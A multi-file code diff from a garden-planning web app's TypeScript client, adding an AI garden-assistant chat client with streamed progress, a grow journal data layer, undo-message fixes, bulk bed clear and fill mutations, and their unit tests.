it("names tools in the app's own vocabulary", () => {
expect(describeStep({ index: 0, tools: ['clear_object'] })).toBe('Clearing a bed')
expect(describeStep({ index: 1, tools: ['find_plant'] })).toBe('Looking up a plant')
})
it('collapses repeats within one step', () => {
expect(describeStep({ index: 0, tools: ['fill_region', 'fill_region'] })).toBe('Filling a bed')
})
it('joins distinct tools', () => {
expect(describeStep({ index: 0, tools: ['clear_object', 'fill_region'] })).toBe('Clearing a bed, Filling a bed')
})
it('says something for a step with no tool calls', () => {
expect(describeStep({ index: 0, tools: [] })).toBe('Thinking')
})
// A tool added server-side before the client knows about it should degrade to
// something readable rather than showing snake_case at the user.
it('falls back readably for an unknown tool', () => {
expect(describeStep({ index: 0, tools: ['prune_orchard'] })).toBe('prune orchard')
})
})
+263
View File
@@ -0,0 +1,263 @@
// The garden assistant's client (#57).
//
// The chat lives in the editor, not on its own page, because watching the canvas
// change as the agent works IS the confirmation — which is what makes acting
// without asking first tolerable. So this module's job is as much about
// surfacing progress as it is about sending a message.
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
import { z } from 'zod'
import { API_BASE, api } from './api'
import { gardenFullKey } from './objects'
import { historyKey } from './history'
// What this instance can actually do, so the UI offers only what works: `agent`
// (the assistant is live now) and `vision` (a seed-packet scan will work). Both
// default to false so a partial/older response just hides the feature rather
// than failing the whole parse.
const capabilitiesSchema = z.object({
agent: z.boolean().default(false),
vision: z.boolean().default(false),
})
export type Capabilities = z.infer<typeof capabilitiesSchema>
export const capabilitiesKey = ['capabilities'] as const
/** What this instance can do right now: whether the assistant is live and whether
* seed-packet scanning will work. Without a capability the matching feature isn't
* offered at all — a dead button is worse than no button.
*
* Not `staleTime: Infinity` any more: an admin can turn the assistant or a vision
* model on or off in Settings (#79), so this must be able to change under a
* running page. The settings save invalidates this key directly; the finite
* staleTime just means another admin's change is picked up on the next
* focus/remount rather than never. */
export function useCapabilities() {
return useQuery({
queryKey: capabilitiesKey,
queryFn: async () => capabilitiesSchema.parse(await api.get('/capabilities')),
staleTime: 60_000,
})
}
export const agentMessageSchema = z.object({
id: z.number(),
conversationId: z.number(),
role: z.enum(['user', 'assistant']),
body: z.string(),
changeSetId: z.number().optional(),
createdAt: z.string(),
})
export type AgentMessage = z.infer<typeof agentMessageSchema>
const historySchema = z.object({ messages: z.array(agentMessageSchema) })
export function agentHistoryKey(gardenId: number) {
return ['gardens', gardenId, 'agent-history'] as const
}
/** The stored conversation, so a reload doesn't lose the thread — which is
* exactly when someone reloads, to check whether a change actually landed. */
export function useAgentHistory(gardenId: number, enabled: boolean) {
return useQuery({
queryKey: agentHistoryKey(gardenId),
enabled,
queryFn: async (): Promise<AgentMessage[]> =>
historySchema.parse(await api.get(`/gardens/${gardenId}/agent/history`)).messages,
})
}
export function useClearAgentHistory(gardenId: number) {
const qc = useQueryClient()
return useMutation({
mutationFn: async (): Promise<void> => {
await api.delete(`/gardens/${gardenId}/agent/history`)
},
onSuccess: () => qc.invalidateQueries({ queryKey: agentHistoryKey(gardenId) }),
})
}
/** One completed turn, as the server reports it. */
export interface AgentTurn {
reply: string
changeSetId?: number
steps: number
truncated?: boolean
}
/** A step the model just finished, named in the app's own vocabulary. */
export interface AgentStep {
index: number
tools: string[]
}
// What each tool is doing, in words. Raw tool names ("fill_region") tell you the
// agent is busy; these tell you what it's busy DOING, which is the difference
// between the panel feeling alive and feeling hung.
const TOOL_LABELS: Record<string, string> = {
list_gardens: 'Looking at your gardens',
describe_garden: 'Reading the garden',
create_object: 'Adding a bed',
move_object: 'Moving a bed',
place_planting: 'Planting',
fill_region: 'Filling a bed',
clear_object: 'Clearing a bed',
find_plant: 'Looking up a plant',
create_plant: 'Adding a plant to your catalog',
add_journal_entry: 'Writing a journal note',
}
export function describeStep(step: AgentStep): string {
if (step.tools.length === 0) return 'Thinking'
const labels = step.tools.map((t) => TOOL_LABELS[t] ?? t.replace(/_/g, ' '))
// Repeated tools in one step read as one action, not a list of identical ones.
return [...new Set(labels)].join(', ')
}
const chatEventSchema = z.object({
step: z.object({ index: z.number(), tools: z.array(z.string()) }).optional(),
done: z
.object({
reply: z.string(),
changeSetId: z.number().optional(),
steps: z.number(),
truncated: z.boolean().optional(),
})
.optional(),
error: z.string().optional(),
// The turn worked but something adjacent to it didn't — currently, the
// exchange couldn't be saved. Dropping this on the floor would recreate
// exactly the silent swallow the server added it to avoid.
warning: z.string().optional(),
})
export interface StreamHandlers {
onStep: (step: AgentStep) => void
onDone: (turn: AgentTurn) => void
onError: (message: string) => void
/** The turn succeeded, but something alongside it didn't. */
onWarning?: (message: string) => void
}
/**
* Send a message and stream the reply.
*
* Hand-rolled rather than EventSource, which can only issue GETs — this needs a
* POST body. The wire format is still SSE so a proxy that understands it doesn't
* buffer, and so switching to EventSource later wouldn't change the server.
*/
export async function streamChat(
gardenId: number,
message: string,
handlers: StreamHandlers,
signal?: AbortSignal,
): Promise<void> {
let res: Response
try {
res = await fetch(`${API_BASE}/agent/chat`, {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({ gardenId, message }),
credentials: 'same-origin',
signal,
})
} catch {
// An abort here is the caller's own doing — Stop, or navigating away — not a
// failure to report back to them. The read loop below already knew this; the
// request path did not.
if (signal?.aborted) return
handlers.onError('Could not reach the server.')
return
}
if (res.status === 401) {
// Session expired mid-conversation (#85). Reporting this as "the assistant is
// unavailable" would send the user chasing a config problem that isn't there.
// Send them to sign in again, preserving where they were.
handlers.onError('Your session has expired — please sign in again.')
const back = encodeURIComponent(location.pathname + location.search)
window.location.assign(`/login?redirect=${back}`)
return
}
if (!res.ok || !res.body) {
// 503 is the assistant being turned off at runtime (#79) — the route exists,
// there's just no model behind it. Distinct from a 404, which would mean the
// whole endpoint is absent.
handlers.onError(
res.status === 503
? "The assistant isn't enabled on this instance."
: res.status === 404
? "This instance doesn't have the assistant configured."
: 'The assistant is not available right now.',
)
return
}
const reader = res.body.getReader()
const decoder = new TextDecoder()
let buffer = ''
for (;;) {
let chunk: ReadableStreamReadResult<Uint8Array>
try {
chunk = await reader.read()
} catch {
// An aborted read is the caller navigating away, not a failure worth
// reporting back to them.
if (signal?.aborted) return
handlers.onError('The connection dropped partway through.')
return
}
if (chunk.done) break
buffer += decoder.decode(chunk.value, { stream: true })
// SSE frames are separated by a blank line; anything after the last one is
// a partial frame to keep for the next chunk.
const frames = buffer.split('\n\n')
buffer = frames.pop() ?? ''
for (const frame of frames) {
const line = frame.split('\n').find((l) => l.startsWith('data:'))
if (!line) continue
// Parsed AND validated: a malformed or unexpected frame shouldn't kill a
// working stream, and shouldn't be trusted into the UI either.
const parsed = chatEventSchema.safeParse(safeJson(line.slice(5).trim()))
if (!parsed.success) continue
const e = parsed.data
if (e.warning) handlers.onWarning?.(e.warning)
if (e.error) handlers.onError(e.error)
else if (e.step) handlers.onStep(e.step)
else if (e.done) handlers.onDone(e.done)
}
}
}
function safeJson(raw: string): unknown {
try {
return JSON.parse(raw)
} catch {
return null
}
}
/**
* Refreshes for the two moments that need different amounts of work.
*
* Mid-turn, only the canvas can have changed: the change set isn't written until
* the turn commits, and the exchange isn't stored until it finishes. Refetching
* those on every step would be up to 2×(N1) requests per turn for data that
* cannot have moved.
*/
export function useAgentRefresh(gardenId: number) {
const qc = useQueryClient()
const canvas = () => {
void qc.invalidateQueries({ queryKey: gardenFullKey(gardenId) })
}
return {
/** After a step: the garden may have changed under the conversation. */
canvas,
/** After a turn: the change set and the stored exchange exist now too. */
everything: () => {
canvas()
void qc.invalidateQueries({ queryKey: historyKey(gardenId) })
void qc.invalidateQueries({ queryKey: agentHistoryKey(gardenId) })
},
}
}
+18 -6
View File
@@ -30,6 +30,11 @@ export class ApiError extends Error {
get isUnauthorized(): boolean {
return this.status === 401
}
/** Resource is gone or masked (pansy returns 404 for no-access, not 403). */
get isNotFound(): boolean {
return this.status === 404
}
}
type ParamValue = string | number | boolean | undefined | null
@@ -37,7 +42,8 @@ export type Params = Record<string, ParamValue>
export interface RequestOptions {
method?: 'GET' | 'POST' | 'PATCH' | 'PUT' | 'DELETE'
/** JSON request body; serialized and sent with a JSON content-type. */
/** Request body. A `FormData` goes out as multipart (a file upload — the
* seed-packet scan); anything else is serialized as JSON. */
body?: unknown
/** Query-string parameters; undefined/null/'' entries are omitted. */
params?: Params
@@ -85,9 +91,13 @@ function messageFrom(body: unknown, status: number): string {
export async function apiFetch<T>(path: string, opts: RequestOptions = {}): Promise<T> {
const { method = 'GET', body, params, signal } = opts
// Serialize before the try so a JSON.stringify failure (e.g. a circular value)
// surfaces as itself, not as a misleading "cannot reach the server" error.
const requestBody = body !== undefined ? JSON.stringify(body) : undefined
// FormData must go out as multipart with a browser-generated boundary, so it's
// sent as-is with NO content-type header (the browser sets it, boundary
// included). Everything else is JSON — serialized before the try so a
// JSON.stringify failure (e.g. a circular value) surfaces as itself, not as a
// misleading "cannot reach the server" error.
const isForm = typeof FormData !== 'undefined' && body instanceof FormData
const requestBody = body === undefined ? undefined : isForm ? body : JSON.stringify(body)
let res: Response
try {
@@ -97,9 +107,9 @@ export async function apiFetch<T>(path: string, opts: RequestOptions = {}): Prom
credentials: 'same-origin', // send the HttpOnly session cookie
headers: {
accept: 'application/json',
...(body !== undefined ? { 'content-type': 'application/json' } : {}),
...(body !== undefined && !isForm ? { 'content-type': 'application/json' } : {}),
},
body: requestBody,
body: requestBody as BodyInit | undefined,
})
} catch (err) {
if ((err as Error)?.name === 'AbortError') throw err
@@ -138,6 +148,8 @@ export const api = {
apiFetch<T>(path, { ...opts, method: 'GET' }),
post: <T>(path: string, body?: unknown, opts?: Omit<RequestOptions, 'method' | 'body'>) =>
apiFetch<T>(path, { ...opts, method: 'POST', body }),
postForm: <T>(path: string, form: FormData, opts?: Omit<RequestOptions, 'method' | 'body'>) =>
apiFetch<T>(path, { ...opts, method: 'POST', body: form }),
patch: <T>(path: string, body?: unknown, opts?: Omit<RequestOptions, 'method' | 'body'>) =>
apiFetch<T>(path, { ...opts, method: 'PATCH', body }),
delete: <T>(path: string, opts?: Omit<RequestOptions, 'method' | 'body'>) =>
+35
View File
@@ -49,6 +49,14 @@ describe('describeConflict', () => {
describe('describeUndo', () => {
const target = changeSet({ counts: [{ entityType: 'object', op: 'update', n: 3 }] })
// The bug this pair exists for: a real revert response carries a change set
// whose counts the server didn't populate. Reading that as "nothing happened"
// told the user a successful undo had done nothing.
it('trusts the change set, not the tally, for whether anything happened', () => {
const out = describeUndo({ id: 5 }, { changeSet: changeSet({ id: 6, counts: [] }), conflicts: [] })
expect(out).toEqual({ tone: 'ok', message: 'Undone.' })
})
it('is a plain success when nothing conflicted', () => {
const out = describeUndo(target, {
changeSet: changeSet({ id: 2, counts: [{ entityType: 'object', op: 'update', n: 3 }] }),
@@ -61,6 +69,7 @@ describe('describeUndo', () => {
// already a no-op — reachable by undoing a creation whose object is gone.
// Claiming "Undone." there reports work that didn't happen.
it("doesn't claim to have undone a no-op", () => {
// A NULL change set — not an empty tally — is the server's no-op signal.
const out = describeUndo(target, { changeSet: null, conflicts: [] })
expect(out.tone).toBe('ok')
expect(out.message).toBe('Nothing left to undo — this was already reversed.')
@@ -113,3 +122,29 @@ describe('totalChanges', () => {
).toBe(13)
})
})
describe('describeUndo with an unknown total', () => {
// The chat panel offers Undo on a turn knowing only its change set id — the
// agent's reply carries the id, not the tally. Inventing a denominator to
// fill the sentence would be worse than not having one.
it("doesn't invent a denominator it was never given", () => {
const out = describeUndo(
{ id: 5 },
{
changeSet: changeSet({ id: 6, counts: [{ entityType: 'planting', op: 'delete', n: 2 }] }),
conflicts: [{ entityType: 'object', entityId: 7, reason: 'changed', name: 'North Bed' }],
},
)
expect(out.tone).toBe('partial')
expect(out.message).toBe('Partly undone — “North Bed” was edited since, so it was left alone.')
expect(out.message).not.toMatch(/\d+ of \d+/)
})
it('still reports a clean undo the same way', () => {
const out = describeUndo(
{ id: 5 },
{ changeSet: changeSet({ id: 6, counts: [{ entityType: 'object', op: 'update', n: 1 }] }), conflicts: [] },
)
expect(out).toEqual({ tone: 'ok', message: 'Undone.' })
})
})
+31 -11
View File
@@ -113,9 +113,10 @@ export function useRevertChangeSet(gardenId: number) {
})
}
/** How many rows a change set touched, for "3 changes" in the list. */
export function totalChanges(cs: ChangeSet): number {
return cs.counts.reduce((sum, c) => sum + c.n, 0)
/** How many rows a change set touched, for "3 changes" in the list. Undefined
* counts total zero, which callers read as "no denominator to quote". */
export function totalChanges(cs: { counts?: ChangeCount[] }): number {
return (cs.counts ?? []).reduce((sum, c) => sum + c.n, 0)
}
const ENTITY_NOUNS: Record<ChangeCount['entityType'], [string, string]> = {
@@ -171,7 +172,7 @@ export function useUndo(gardenId: number) {
const revert = useRevertChangeSet(gardenId)
const [outcomes, setOutcomes] = useState<Record<number, UndoOutcome>>({})
const undo = (cs: ChangeSet) => {
const undo = (cs: UndoTarget) => {
setOutcomes((prev) => ({ ...prev, [cs.id]: { tone: 'pending', message: 'Undoing…' } }))
revert.mutate(cs.id, {
onSuccess: (result) => {
@@ -197,6 +198,19 @@ export function useUndo(gardenId: number) {
}
}
/**
* What undo needs to know about a change set.
*
* `counts` is optional because the chat panel offers Undo on a turn knowing only
* its change set id — the agent's reply carries the id, not the tally. Fabricating
* counts to satisfy a type would produce a confidently wrong "1 of 1 changes
* undone"; leaving them out lets describeUndo say what it actually knows.
*/
export interface UndoTarget {
id: number
counts?: ChangeCount[]
}
export interface UndoOutcome {
tone: 'pending' | 'ok' | 'partial' | 'error'
message: string
@@ -208,19 +222,25 @@ export interface UndoOutcome {
* useful thing to report: a bare failure would be a lie about the two that did
* apply, and a bare success would hide the one that didn't.
*/
export function describeUndo(target: ChangeSet, result: RevertResult): UndoOutcome {
export function describeUndo(target: UndoTarget, result: RevertResult): UndoOutcome {
const skipped = result.conflicts.map(describeConflict).join('; ')
// A NULL change set is the server's signal that nothing needed doing. An empty
// `counts` is not the same thing and must not be read as one — that conflation
// made a successful undo report "nothing left to undo", which is the worst
// possible thing to tell someone about an action that just worked.
const didSomething = result.changeSet != null
const applied = result.changeSet ? totalChanges(result.changeSet) : 0
if (result.conflicts.length === 0) {
// The server answers 200 with a null change set when every revision was
// already a no-op — reachable by undoing a creation whose object is gone.
// Claiming "Undone." there would be reporting work that didn't happen.
if (applied === 0) return { tone: 'ok', message: 'Nothing left to undo — this was already reversed.' }
// Reachable by undoing a creation whose object is already gone.
if (!didSomething) return { tone: 'ok', message: 'Nothing left to undo — this was already reversed.' }
return { tone: 'ok', message: 'Undone.' }
}
if (applied === 0) {
if (!didSomething) {
return { tone: 'error', message: `Nothing was undone — ${skipped}.` }
}
// Only claim a denominator when we have one. "2 of 3" from a caller that
// never knew the total would be a number invented to fill a sentence.
const total = totalChanges(target)
return { tone: 'partial', message: `${applied} of ${total} changes undone${skipped}.` }
const scale = total > 0 && applied > 0 ? `${applied} of ${total} changes undone` : 'Partly undone'
return { tone: 'partial', message: `${scale}${skipped}.` }
}
+146
View File
@@ -0,0 +1,146 @@
// Grow journal data layer (#53): entries about a garden, a bed, or one plop.
//
// An entry is what HAPPENED and when, as opposed to the `notes` field on a
// garden/object/plant, which is what the thing IS. Entries accumulate; notes
// overwrite.
import { useInfiniteQuery, useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
import { z } from 'zod'
import { ApiError, api } from './api'
export const journalEntrySchema = z.object({
id: z.number(),
gardenId: z.number(),
objectId: z.number().optional(),
plantingId: z.number().optional(),
authorId: z.number(),
authorName: z.string().default(''),
body: z.string(),
// When it happened, which is not when it was written down.
observedAt: z.string(),
version: z.number(),
createdAt: z.string(),
updatedAt: z.string(),
})
export type JournalEntry = z.infer<typeof journalEntrySchema>
const journalPageSchema = z.object({
entries: z.array(journalEntrySchema),
hasMore: z.boolean(),
})
/** Narrows the journal. Undefined fields don't filter. */
export interface JournalFilter {
objectId?: number
plantingId?: number
from?: string
to?: string
}
const PAGE_SIZE = 30
export function journalKey(gardenId: number, filter: JournalFilter = {}) {
return ['gardens', gardenId, 'journal', filter] as const
}
export function useJournal(gardenId: number, filter: JournalFilter = {}, enabled = true) {
return useInfiniteQuery({
queryKey: journalKey(gardenId, filter),
enabled,
initialPageParam: 0,
queryFn: async ({ pageParam }) =>
journalPageSchema.parse(
await api.get(`/gardens/${gardenId}/journal`, {
params: { ...filter, limit: PAGE_SIZE, offset: pageParam },
}),
),
getNextPageParam: (last, pages) => (last.hasMore ? pages.length * PAGE_SIZE : undefined),
})
}
const countsSchema = z.object({ counts: z.record(z.string(), z.number().int().nonnegative()) })
/**
* How many entries each object has, keyed by object id — 0 for the garden
* itself. Its own query rather than derived from the list, because the
* indicator has to work while the journal panel is closed, which is exactly when
* the list hasn't loaded.
*/
export function useJournalCounts(gardenId: number) {
return useQuery({
queryKey: ['gardens', gardenId, 'journal-counts'] as const,
queryFn: async (): Promise<Map<number, number>> => {
const { counts } = countsSchema.parse(await api.get(`/gardens/${gardenId}/journal/counts`))
return new Map(Object.entries(counts).map(([id, n]) => [Number(id), n]))
},
})
}
export interface JournalInput {
objectId?: number
plantingId?: number
body: string
observedAt?: string
}
// Every journal query for this garden, whatever its filter — a new entry may
// belong to several of them at once (the garden's, its bed's, a date range's),
// and working out which is more effort than refetching a short list.
function invalidateJournal(qc: ReturnType<typeof useQueryClient>, gardenId: number) {
void qc.invalidateQueries({ queryKey: ['gardens', gardenId, 'journal'] })
void qc.invalidateQueries({ queryKey: ['gardens', gardenId, 'journal-counts'] })
}
export function useCreateJournalEntry(gardenId: number) {
const qc = useQueryClient()
return useMutation({
mutationFn: async (input: JournalInput): Promise<JournalEntry> =>
journalEntrySchema.parse(await api.post(`/gardens/${gardenId}/journal`, input)),
onSuccess: () => invalidateJournal(qc, gardenId),
})
}
export function useUpdateJournalEntry(gardenId: number) {
const qc = useQueryClient()
return useMutation({
mutationFn: async (vars: { id: number; version: number; body?: string; observedAt?: string }): Promise<JournalEntry> => {
const { id, ...rest } = vars
return journalEntrySchema.parse(await api.patch(`/journal/${id}`, rest))
},
onSuccess: () => invalidateJournal(qc, gardenId),
onError: (err) => {
// A 409 means the row moved on. Refetch so the component receives the
// current version — otherwise a retry resends the stale one and conflicts
// forever, which reads as a button that simply doesn't work.
if (err instanceof ApiError && err.isConflict) invalidateJournal(qc, gardenId)
},
})
}
export function useDeleteJournalEntry(gardenId: number) {
const qc = useQueryClient()
return useMutation({
mutationFn: async (id: number): Promise<void> => {
await api.delete(`/journal/${id}`)
},
onSuccess: () => invalidateJournal(qc, gardenId),
})
}
/** Today as YYYY-MM-DD in the viewer's own timezone — "today" means the day you
* are standing in the garden, not the day it is in UTC. */
export function today(): string {
const now = new Date()
const pad = (n: number) => String(n).padStart(2, '0')
return `${now.getFullYear()}-${pad(now.getMonth() + 1)}-${pad(now.getDate())}`
}
/** A date-only string as a short human label, without dragging the value
* through a Date (which would shift it by the timezone offset). */
export function formatObservedAt(iso: string): string {
const [y, m, d] = iso.split('-').map(Number)
// Out-of-range parts would silently roll over — 2026-13-45 becoming February
// 2027 — so show the raw string instead of a confidently wrong date.
if (!y || !m || !d || m < 1 || m > 12 || d < 1 || d > 31) return iso
return new Date(y, m - 1, d).toLocaleDateString(undefined, { month: 'short', day: 'numeric', year: 'numeric' })
}
+70
View File
@@ -0,0 +1,70 @@
import { afterEach, beforeEach, describe, expect, it } from 'vitest'
import { getLastGardenId, rememberLastGarden, forgetLastGarden } from './lastGarden'
// The tests run in the node environment (no DOM), so stand up a minimal
// in-memory localStorage rather than pull in jsdom for one thin module.
function installStorage(impl?: Partial<Storage>) {
const store = new Map<string, string>()
const base: Storage = {
getItem: (k) => store.get(k) ?? null,
setItem: (k, v) => void store.set(k, String(v)),
removeItem: (k) => void store.delete(k),
clear: () => store.clear(),
key: (i) => [...store.keys()][i] ?? null,
get length() {
return store.size
},
}
;(globalThis as { localStorage?: Storage }).localStorage = { ...base, ...impl }
}
beforeEach(() => installStorage())
afterEach(() => {
delete (globalThis as { localStorage?: Storage }).localStorage
})
describe('lastGarden', () => {
it('round-trips a remembered garden id', () => {
expect(getLastGardenId()).toBeNull()
rememberLastGarden(42)
expect(getLastGardenId()).toBe(42)
})
it('rejects a non-positive or unparseable stored value', () => {
localStorage.setItem('pansy:last-garden', 'not-a-number')
expect(getLastGardenId()).toBeNull()
localStorage.setItem('pansy:last-garden', '0')
expect(getLastGardenId()).toBeNull()
localStorage.setItem('pansy:last-garden', '-3')
expect(getLastGardenId()).toBeNull()
})
it('forgets unconditionally with no argument', () => {
rememberLastGarden(7)
forgetLastGarden()
expect(getLastGardenId()).toBeNull()
})
it('forgets only when the stored id matches onlyIfEquals', () => {
rememberLastGarden(5)
// A 404 on a different (directly-linked) garden must not wipe the good resume.
forgetLastGarden(9)
expect(getLastGardenId()).toBe(5)
// A 404 on the stored garden itself does clear it.
forgetLastGarden(5)
expect(getLastGardenId()).toBeNull()
})
it('swallows storage failures instead of throwing', () => {
installStorage({
setItem: () => {
throw new Error('quota')
},
getItem: () => {
throw new Error('blocked')
},
})
expect(() => rememberLastGarden(1)).not.toThrow()
expect(getLastGardenId()).toBeNull() // getItem throwing → null, not a crash
})
})
+46
View File
@@ -0,0 +1,46 @@
// The last garden opened on THIS device, so a returning user resumes where they
// were instead of always landing on the gardens list. Per-device, in
// localStorage (same rationale as the seed tray and PlantPicker recents): a
// convenience, not authoritative state — a quota/availability failure is
// swallowed, and a stored id that no longer loads clears itself (see the editor).
//
// Only the id is stored. The garden is resolved by the editor on load; if it's
// gone (deleted, or access revoked), forgetLastGarden() drops it so `/` stops
// resuming a garden that can't open.
const KEY = 'pansy:last-garden'
/** The last-opened garden id on this device, or null if none/unparseable. */
export function getLastGardenId(): number | null {
try {
const raw = localStorage.getItem(KEY)
if (raw == null) return null
const n = Number(raw)
return Number.isInteger(n) && n > 0 ? n : null
} catch {
return null
}
}
/** Record the garden the device is now in, so `/` resumes here next time. */
export function rememberLastGarden(id: number): void {
try {
localStorage.setItem(KEY, String(id))
} catch {
// Resume is a convenience; ignore quota/availability failures.
}
}
/**
* Forget the stored last garden. With `onlyIfEquals`, clears only when the stored
* id matches — so a 404 on a directly-linked garden can't wipe a different, still
* good resume target the user had.
*/
export function forgetLastGarden(onlyIfEquals?: number): void {
try {
if (onlyIfEquals != null && getLastGardenId() !== onlyIfEquals) return
localStorage.removeItem(KEY)
} catch {
// ignore
}
}
+41
View File
@@ -0,0 +1,41 @@
import { lazy, type ComponentType } from 'react'
/**
* Lazily load a component by its named export, with recovery for the stale-chunk
* problem. A push to main redeploys, so a still-open app references chunk hashes
* the server has just replaced; that import 404s and React.lazy MEMOIZES the
* rejection, so a "Try again" can never recover — the user is stuck until a manual
* hard reload. On the first such failure we reload once (fetching the fresh index
* + hashes); a session flag stops a reload loop, and a success clears it so a
* later genuine failure can reload again.
*
* Shared by the route splits (router.tsx) and any feature-level lazy load (the
* assistant's Markdown renderer), so they all get the same recovery.
*/
export function lazyPage<M, K extends keyof M>(load: () => Promise<M>, name: K) {
// Preserve the component's own prop type so callers keep type-checked props
// (e.g. MarkdownMessage's `children: string`), rather than erasing to `{}`.
type C = M[K] extends ComponentType<infer P> ? ComponentType<P> : never
return lazy<C>(async () => {
try {
const mod = await load()
try {
sessionStorage.removeItem('pansy:chunk-reload')
} catch {
/* storage unavailable — fine */
}
return { default: mod[name] as C }
} catch (err) {
try {
if (!sessionStorage.getItem('pansy:chunk-reload')) {
sessionStorage.setItem('pansy:chunk-reload', '1')
window.location.reload()
return await new Promise<{ default: C }>(() => {}) // hold for the reload
}
} catch {
/* storage unavailable — fall through to surface the error */
}
throw err // already reloaded once (or can't); let the error boundary show it
}
})
}
+51 -17
View File
@@ -328,28 +328,62 @@ export function useUpdatePlanting(gardenId: number) {
})
}
/** Clear a bed: soft-remove every active plop in an object (a loop of PATCHes;
* a bulk ClearObject endpoint arrives with the agent seam, #19). Invalidates
* once at the end. Pass the object's active plops (id + current version). */
const clearResultSchema = z.object({ cleared: z.number() })
const fillResultSchema = z.object({ created: z.number() })
/** Fill mode (#77/#100): the layout a region fill packs — fat clumps for quick
* coverage, or a grid of individual plants at true spacing you could plant from.
* Passed straight through to the server's `layout` field. */
export type FillLayout = 'clump' | 'grid'
/** Fill a whole plantable object with one plant at the chosen layout, via the
* same `POST /objects/:id/fill` the agent uses (region "all"). The response is
* just a count; invalidate rather than optimistically splice a hex lattice we'd
* have to recompute client-side. Returns how many plops it created. */
export function useFillObject(gardenId: number) {
const qc = useQueryClient()
return useMutation({
mutationFn: async ({
objectId,
plantId,
layout,
}: {
objectId: number
plantId: number
layout: FillLayout
}): Promise<number> => {
const res = fillResultSchema.parse(
await api.post(`/objects/${objectId}/fill`, { plantId, region: 'all', layout }),
)
return res.created
},
onSettled: () => qc.invalidateQueries({ queryKey: fullKey(gardenId) }),
onError: (err) => toast.error(objectErrorMessage(err, 'Could not fill the bed.')),
})
}
/** Clear a bed: soft-remove every active plop in an object (#82).
*
* ONE request, and so ONE change set. This used to be a loop of PATCHes, which
* meant clearing a 40-plop bed wrote 40 change sets and took 40 presses of Undo
* to put back — while the agent's clear_object, for the identical user-facing
* action, undid in a single click. The rule it violated is stated in CLAUDE.md:
* multi-row operations record all their changes together so they undo as one
* unit. Doing it server-side also removes the partial-failure case the old loop
* had to reconcile. */
export function useClearObject(gardenId: number) {
const qc = useQueryClient()
return useMutation({
mutationFn: async (plops: { id: number; version: number }[]) => {
const today = new Date().toISOString().slice(0, 10)
// allSettled, not all: a partial failure still soft-removed some rows
// server-side, so we must reconcile the cache rather than roll everything
// back. Report how many failed.
const results = await Promise.allSettled(
plops.map((p) => api.patch(`/plantings/${p.id}`, { removedAt: today, version: p.version })),
)
const failed = results.filter((r) => r.status === 'rejected').length
if (failed > 0) {
throw new Error(`${failed} of ${plops.length} plants couldn't be cleared — refresh and try again.`)
}
mutationFn: async (objectId: number): Promise<number> => {
// No body — clear takes none; passing undefined sends none rather than an
// empty {}. The response is just a count; validate it rather than cast.
const res = clearResultSchema.parse(await api.post(`/objects/${objectId}/clear`))
return res.cleared
},
// Reconcile on success OR partial failure, so the cache matches the server.
onSettled: () => qc.invalidateQueries({ queryKey: fullKey(gardenId) }),
onError: (err) => toast.error(err instanceof Error ? err.message : 'Could not clear the bed.'),
// No toast: the only caller (ClearBedModal → ConfirmModal) shows the failure
// inline in the dialog, which is more contextual than a detached toast — and
// two of them for one failure is worse than one.
})
}
+43 -1
View File
@@ -1,5 +1,47 @@
import { describe, expect, it } from 'vitest'
import { computeDerivedCount, effectiveCount } from './plantings'
import { computeDerivedCount, effectiveCount, recentlyPlantedIds, type EditorPlanting } from './plantings'
function plop(over: Partial<EditorPlanting>): EditorPlanting {
return {
id: 0,
objectId: 1,
plantId: 1,
xCm: 0,
yCm: 0,
radiusCm: 5,
count: null,
derivedCount: 1,
label: null,
plantedAt: null,
version: 1,
...over,
}
}
describe('recentlyPlantedIds', () => {
it('returns unique plant ids, newest planted first', () => {
const got = recentlyPlantedIds([
plop({ id: 1, plantId: 10, plantedAt: '2026-05-01' }),
plop({ id: 2, plantId: 20, plantedAt: '2026-07-01' }),
plop({ id: 3, plantId: 10, plantedAt: '2026-06-01' }), // dup plant, later
])
// 20 (Jul) before 10 (its most recent plop is Jun); 10 appears once.
expect(got).toEqual([20, 10])
})
it('breaks a same-day tie by newer plop id, and sorts undated last', () => {
const got = recentlyPlantedIds([
plop({ id: 5, plantId: 30, plantedAt: null }),
plop({ id: 6, plantId: 40, plantedAt: '2026-07-01' }),
plop({ id: 7, plantId: 50, plantedAt: '2026-07-01' }),
])
expect(got).toEqual([50, 40, 30]) // id 7 > 6 on the same day; undated 30 last
})
it('is empty for no plantings', () => {
expect(recentlyPlantedIds([])).toEqual([])
})
})
describe('computeDerivedCount', () => {
it('mirrors the server formula max(1, round(π·r²/spacing²))', () => {
+21
View File
@@ -60,6 +60,27 @@ export function effectiveCount(p: { count: number | null; derivedCount: number }
return p.count ?? p.derivedCount
}
/**
* Plant ids a garden has been planted with, most recent first and de-duplicated —
* the "what have I actually been planting here" quick list (#100). Ordered by
* plantedAt (a plop with no date sorts last), then by id so newer plops win a
* same-day tie. The caller resolves the ids to plants against the catalog.
*/
export function recentlyPlantedIds(plantings: EditorPlanting[]): number[] {
const sorted = [...plantings].sort(
(a, b) => (b.plantedAt ?? '').localeCompare(a.plantedAt ?? '') || b.id - a.id,
)
const seen = new Set<number>()
const ids: number[] = []
for (const p of sorted) {
if (!seen.has(p.plantId)) {
seen.add(p.plantId)
ids.push(p.plantId)
}
}
return ids
}
/** Client-side mirror of the server's derived-count formula, for live display
* while resizing a plop (before the PATCH round-trips). max(1, round(π·r² /
* spacing²)), capped like the server. */

Some files were not shown because too many files have changed in this diff Show More